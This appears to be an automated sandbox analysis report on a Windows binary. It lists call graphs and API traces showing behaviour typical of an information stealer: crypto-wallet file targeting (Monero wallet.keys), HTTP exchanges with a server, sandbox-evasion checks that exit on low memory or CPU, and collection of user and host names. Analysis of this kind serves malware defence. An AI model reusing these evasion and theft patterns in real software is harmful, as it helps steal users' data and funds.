                                    • GetProcAddress.KERNEL32(74E00000,0159CCE8), ref: 00CEA939
                                    • GetProcAddress.KERNEL32(74E00000,01598A30), ref: 00CEA951
                                    • GetProcAddress.KERNEL32(74E00000,0159CC28), ref: 00CEA969
                                    • GetProcAddress.KERNEL32(74E00000,0159CCB8), ref: 00CEA982
                                    • GetProcAddress.KERNEL32(74DF0000,01586520), ref: 00CEA9A3
                                    • GetProcAddress.KERNEL32(6F9C0000,0159CCA0), ref: 00CEA9C4
                                    • GetProcAddress.KERNEL32(6F9C0000,01586340), ref: 00CEA9DD
                                    • GetProcAddress.KERNEL32(6F9C0000,0159CB98), ref: 00CEA9F5
                                    • GetProcAddress.KERNEL32(6F9C0000,0159CDC0), ref: 00CEAA0D
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$LibraryLoad
                                    • String ID: HttpQueryInfoA$InternetSetOptionA
                                    • API String ID: 2238633743-1775429166
                                    • Opcode ID: 3b030abb2f6ac53ae828e839bca367574b4f1d99933b29d6b4e8fc52134c648a
                                    • Instruction ID: 8425807dbe0095264d71828c6d58f791bfe534e3a348fe7e4bb258fadf5668ee
                                    • Opcode Fuzzy Hash: 3b030abb2f6ac53ae828e839bca367574b4f1d99933b29d6b4e8fc52134c648a
                                    • Instruction Fuzzy Hash: C4620CF66183089FC344EFA8ED88E667BF9A78F701714851AB909C3270D735A941EF64
                                    Function 00CD48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 801 cd48d0-cd4992 call ceaab0 call cd4800 call ceaa50 * 5 InternetOpenA StrCmpCA 816 cd499b-cd499f 801->816 817 cd4994 801->817 818 cd4f1b-cd4f43 InternetCloseHandle call ceade0 call cda210 816->818 819 cd49a5-cd4b1d call ce8cf0 call ceac30 call ceabb0 call ceab10 * 2 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceac30 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceac30 call ceabb0 call ceab10 * 2 InternetConnectA 816->819 817->816 829 cd4f45-cd4f7d call ceab30 call ceacc0 call ceabb0 call ceab10 818->829 830 cd4f82-cd4ff2 call ce8b20 * 2 call ceaab0 call ceab10 * 8 818->830 819->818 905 cd4b23-cd4b27 819->905 829->830 906 cd4b29-cd4b33 905->906 907 cd4b35 905->907 908 cd4b3f-cd4b72 HttpOpenRequestA 906->908 907->908 909 cd4f0e-cd4f15 InternetCloseHandle 908->909 910 cd4b78-cd4e78 call ceacc0 call ceabb0 call ceab10 call ceac30 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceac30 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceac30 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceacc0 call ceabb0 call ceab10 call ceac30 call ceabb0 call ceab10 call ceaa50 call ceac30 * 2 call ceabb0 call ceab10 * 2 call ceade0 lstrlen call ceade0 * 2 lstrlen call ceade0 HttpSendRequestA 908->910 909->818 1021 cd4e82-cd4eac InternetReadFile 910->1021 1022 cd4eae-cd4eb5 1021->1022 1023 cd4eb7-cd4f09 InternetCloseHandle call ceab10 1021->1023 1022->1023 1024 cd4eb9-cd4ef7 call ceacc0 call ceabb0 call ceab10 1022->1024 1023->909 1024->1021
                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CD4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CD4889
                                      • Part of subcall function 00CD4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CD4899
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00CD4965
                                    • StrCmpCA.SHLWAPI(?,0159E410), ref: 00CD498A
                                    • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CD4B0A
                                    • lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00CF0DDE,00000000,?,?,00000000,?,",00000000,?,0159E490), ref: 00CD4E38
                                    • lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00CD4E54
                                    • HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00CD4E68
                                    • InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00CD4E99
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD4EFD
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD4F15
                                    • HttpOpenRequestA.WININET(00000000,0159E560,?,0159D9F8,00000000,00000000,00400100,00000000), ref: 00CD4B65
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD4F1F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
                                    • String ID: "$"$------$------$------
                                    • API String ID: 460715078-2180234286
                                    • Opcode ID: 09b2a5eea2709f7ebaf1201ce35935108fbb01ba5fe162d56abe90ac9eab6bd0
                                    • Instruction ID: b80aa7ca85ea7d66d9207cc03aaf3f58a6e38c1c2c948713d7b246ad2d48a84b
                                    • Opcode Fuzzy Hash: 09b2a5eea2709f7ebaf1201ce35935108fbb01ba5fe162d56abe90ac9eab6bd0
                                    • Instruction Fuzzy Hash: FE12DA72910258AFCB15EB91DDA2FEEB379AF14300F5141A9B10662191EF707F48DF62
                                    Function 00CE5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1090 ce5760-ce57c7 call ce5d20 call ceab30 * 3 call ceaa50 * 4 1106 ce57cc-ce57d3 1090->1106 1107 ce5827-ce589c call ceaa50 * 2 call cd1590 call ce5510 call ceabb0 call ceab10 call ceade0 StrCmpCA 1106->1107 1108 ce57d5-ce5806 call ceab30 call ceaab0 call cd1590 call ce5440 1106->1108 1134 ce58e3-ce58f9 call ceade0 StrCmpCA 1107->1134 1137 ce589e-ce58de call ceaab0 call cd1590 call ce5440 call ceabb0 call ceab10 1107->1137 1124 ce580b-ce5822 call ceabb0 call ceab10 1108->1124 1124->1134 1140 ce58ff-ce5906 1134->1140 1141 ce5a2c-ce5a94 call ceabb0 call ceab30 * 2 call cd16b0 call ceab10 * 4 call cd1670 call cd1550 1134->1141 1137->1134 1142 ce590c-ce5913 1140->1142 1143 ce5a2a-ce5aaf call ceade0 StrCmpCA 1140->1143 1272 ce5d13-ce5d16 1141->1272 1146 ce596e-ce59e3 call ceaa50 * 2 call cd1590 call ce5510 call ceabb0 call ceab10 call ceade0 StrCmpCA 1142->1146 1147 ce5915-ce5969 call ceab30 call ceaab0 call cd1590 call ce5440 call ceabb0 call ceab10 1142->1147 1161 ce5ab5-ce5abc 1143->1161 1162 ce5be1-ce5c49 call ceabb0 call ceab30 * 2 call cd16b0 call ceab10 * 4 call cd1670 call cd1550 1143->1162 1146->1143 1250 ce59e5-ce5a25 call ceaab0 call cd1590 call ce5440 call ceabb0 call ceab10 1146->1250 1147->1143 1167 ce5bdf-ce5c64 call ceade0 StrCmpCA 1161->1167 1168 ce5ac2-ce5ac9 1161->1168 1162->1272 1197 ce5c78-ce5ce1 call ceabb0 call ceab30 * 2 call cd16b0 call ceab10 * 4 call cd1670 call cd1550 1167->1197 1198 ce5c66-ce5c71 Sleep 1167->1198 1174 ce5acb-ce5b1e call ceab30 call ceaab0 call cd1590 call ce5440 call ceabb0 call ceab10 1168->1174 1175 ce5b23-ce5b98 call ceaa50 * 2 call cd1590 call ce5510 call ceabb0 call ceab10 call ceade0 StrCmpCA 1168->1175 1174->1167 1175->1167 1276 ce5b9a-ce5bda call ceaab0 call cd1590 call ce5440 call ceabb0 call ceab10 1175->1276 1197->1272 1198->1106 1250->1143 1276->1167
                                    APIs
                                      • Part of subcall function 00CEAB30: lstrlen.KERNEL32(00CD4F55,?,?,00CD4F55,00CF0DDF), ref: 00CEAB3B
                                      • Part of subcall function 00CEAB30: lstrcpy.KERNEL32(00CF0DDF,00000000), ref: 00CEAB95
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CE5894
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CE58F1
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CE5AA7
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CE5440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CE5478
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CE5510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CE5568
                                      • Part of subcall function 00CE5510: lstrlen.KERNEL32(00000000), ref: 00CE557F
                                      • Part of subcall function 00CE5510: StrStrA.SHLWAPI(00000000,00000000), ref: 00CE55B4
                                      • Part of subcall function 00CE5510: lstrlen.KERNEL32(00000000), ref: 00CE55D3
                                      • Part of subcall function 00CE5510: lstrlen.KERNEL32(00000000), ref: 00CE55FE
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CE59DB
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CE5B90
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CE5C5C
                                    • Sleep.KERNEL32(0000EA60), ref: 00CE5C6B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpylstrlen$Sleep
                                    • String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
                                    • API String ID: 507064821-2791005934
                                    • Opcode ID: 5559d8f280abe6bbab53262057612b08ed67dd0a222898d873ac69f521cafd2f
                                    • Instruction ID: 847e7bf98685c8905ef037892390fcd77f58ce3102dff84aaf095b3d007e1601
                                    • Opcode Fuzzy Hash: 5559d8f280abe6bbab53262057612b08ed67dd0a222898d873ac69f521cafd2f
                                    • Instruction Fuzzy Hash: 4CE12D72D10148AFCB14FBA1EDA2EFD737DAF54300F548568B50666191EF346B08EBA2
                                    Function 00CE19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1301 ce19f0-ce1a1d call ceade0 StrCmpCA 1304 ce1a1f-ce1a21 ExitProcess 1301->1304 1305 ce1a27-ce1a41 call ceade0 1301->1305 1309 ce1a44-ce1a48 1305->1309 1310 ce1a4e-ce1a61 1309->1310 1311 ce1c12-ce1c1d call ceab10 1309->1311 1313 ce1bee-ce1c0d 1310->1313 1314 ce1a67-ce1a6a 1310->1314 1313->1309 1316 ce1acf-ce1ae0 StrCmpCA 1314->1316 1317 ce1aad-ce1abe StrCmpCA 1314->1317 1318 ce1a85-ce1a94 call ceab30 1314->1318 1319 ce1b82-ce1b93 StrCmpCA 1314->1319 1320 ce1b63-ce1b74 StrCmpCA 1314->1320 1321 ce1bc0-ce1bd1 StrCmpCA 1314->1321 1322 ce1b41-ce1b52 StrCmpCA 1314->1322 1323 ce1ba1-ce1bb2 StrCmpCA 1314->1323 1324 ce1b1f-ce1b30 StrCmpCA 1314->1324 1325 ce1bdf-ce1be9 call ceab30 1314->1325 1326 ce1afd-ce1b0e StrCmpCA 1314->1326 1327 ce1a99-ce1aa8 call ceab30 1314->1327 1328 ce1a71-ce1a80 call ceab30 1314->1328 1344 ce1aee-ce1af1 1316->1344 1345 ce1ae2-ce1aec 1316->1345 1342 ce1aca 1317->1342 1343 ce1ac0-ce1ac3 1317->1343 1318->1313 1331 ce1b9f 1319->1331 1332 ce1b95-ce1b98 1319->1332 1329 ce1b76-ce1b79 1320->1329 1330 ce1b80 1320->1330 1336 ce1bdd 1321->1336 1337 ce1bd3-ce1bd6 1321->1337 1350 ce1b5e 1322->1350 1351 ce1b54-ce1b57 1322->1351 1333 ce1bbe 1323->1333 1334 ce1bb4-ce1bb7 1323->1334 1348 ce1b3c 1324->1348 1349 ce1b32-ce1b35 1324->1349 1325->1313 1346 ce1b1a 1326->1346 1347 ce1b10-ce1b13 1326->1347 1327->1313 1328->1313 1329->1330 1330->1313 1331->1313 1332->1331 1333->1313 1334->1333 1336->1313 1337->1336 1342->1313 1343->1342 1355 ce1af8 1344->1355 1345->1355 1346->1313 1347->1346 1348->1313 1349->1348 1350->1313 1351->1350 1355->1313
                                    APIs
                                    • StrCmpCA.SHLWAPI(00000000,block), ref: 00CE1A15
                                    • ExitProcess.KERNEL32 ref: 00CE1A21
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitProcess
                                    • String ID: block
                                    • API String ID: 621844428-2199623458
                                    • Opcode ID: 19ee0daf0b993c51bcf78770ad1336777973deec2e5073f18df66efe225eb123
                                    • Instruction ID: 8e1977172a3f9a8df968d73d6e613728c4a88b0a219f28522c3bb854453c6f3a
                                    • Opcode Fuzzy Hash: 19ee0daf0b993c51bcf78770ad1336777973deec2e5073f18df66efe225eb123
                                    • Instruction Fuzzy Hash: F5514BB4B0824DEFCB04DFA6D944FAE77B9EF44704F244058E912AB241E770EA50DB62
                                    Function 00CE6C90 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,015907C8), ref: 00CE9BF1
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,015907E0), ref: 00CE9C0A
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01590810), ref: 00CE9C22
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01590840), ref: 00CE9C3A
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01590828), ref: 00CE9C53
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01598AB0), ref: 00CE9C6B
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01586680), ref: 00CE9C83
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01586740), ref: 00CE9C9C
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01590588), ref: 00CE9CB4
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,015905B8), ref: 00CE9CCC
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,015905D0), ref: 00CE9CE5
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01590630), ref: 00CE9CFD
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01586980), ref: 00CE9D15
                                      • Part of subcall function 00CE9BB0: GetProcAddress.KERNEL32(75900000,01590648), ref: 00CE9D2E
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CD11D0: ExitProcess.KERNEL32 ref: 00CD1211
                                      • Part of subcall function 00CD1160: GetSystemInfo.KERNEL32(?), ref: 00CD116A
                                      • Part of subcall function 00CD1160: ExitProcess.KERNEL32 ref: 00CD117E
                                      • Part of subcall function 00CD1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00CD112B
                                      • Part of subcall function 00CD1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00CD1132
                                      • Part of subcall function 00CD1110: ExitProcess.KERNEL32 ref: 00CD1143
                                      • Part of subcall function 00CD1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00CD123E
                                      • Part of subcall function 00CD1220: __aulldiv.LIBCMT ref: 00CD1258
                                      • Part of subcall function 00CD1220: __aulldiv.LIBCMT ref: 00CD1266
                                      • Part of subcall function 00CD1220: ExitProcess.KERNEL32 ref: 00CD1294
                                      • Part of subcall function 00CE6A10: GetUserDefaultLangID.KERNEL32 ref: 00CE6A14
                                      • Part of subcall function 00CD1190: ExitProcess.KERNEL32 ref: 00CD11C6
                                      • Part of subcall function 00CE79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CD11B7), ref: 00CE7A10
                                      • Part of subcall function 00CE79E0: RtlAllocateHeap.NTDLL(00000000), ref: 00CE7A17
                                      • Part of subcall function 00CE79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CE7A2F
                                      • Part of subcall function 00CE7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE7AA0
                                      • Part of subcall function 00CE7A70: RtlAllocateHeap.NTDLL(00000000), ref: 00CE7AA7
                                      • Part of subcall function 00CE7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00CE7ABF
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01598AA0,?,00CF10F4,?,00000000,?,00CF10F8,?,00000000,00CF0AF3), ref: 00CE6D6A
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CE6D88
                                    • CloseHandle.KERNEL32(00000000), ref: 00CE6D99
                                    • Sleep.KERNEL32(00001770), ref: 00CE6DA4
                                    • CloseHandle.KERNEL32(?,00000000,?,01598AA0,?,00CF10F4,?,00000000,?,00CF10F8,?,00000000,00CF0AF3), ref: 00CE6DBA
                                    • ExitProcess.KERNEL32 ref: 00CE6DC2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
                                    • String ID:
                                    • API String ID: 2525456742-0
                                    • Opcode ID: f0022dfc6bd448d4d165504c17a4806330125903a6a4131a71be3ecb2a02acbc
                                    • Instruction ID: 9e1293feb685ad8229fde5a62043aab3ca86cf9016f0ec01f30a4dab3dd416fd
                                    • Opcode Fuzzy Hash: f0022dfc6bd448d4d165504c17a4806330125903a6a4131a71be3ecb2a02acbc
                                    • Instruction Fuzzy Hash: 92314871E14248AFCB04FBF2DC56EBE7379AF10340F140929F612A6192DF706A05EA62
                                    Function 00CD1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
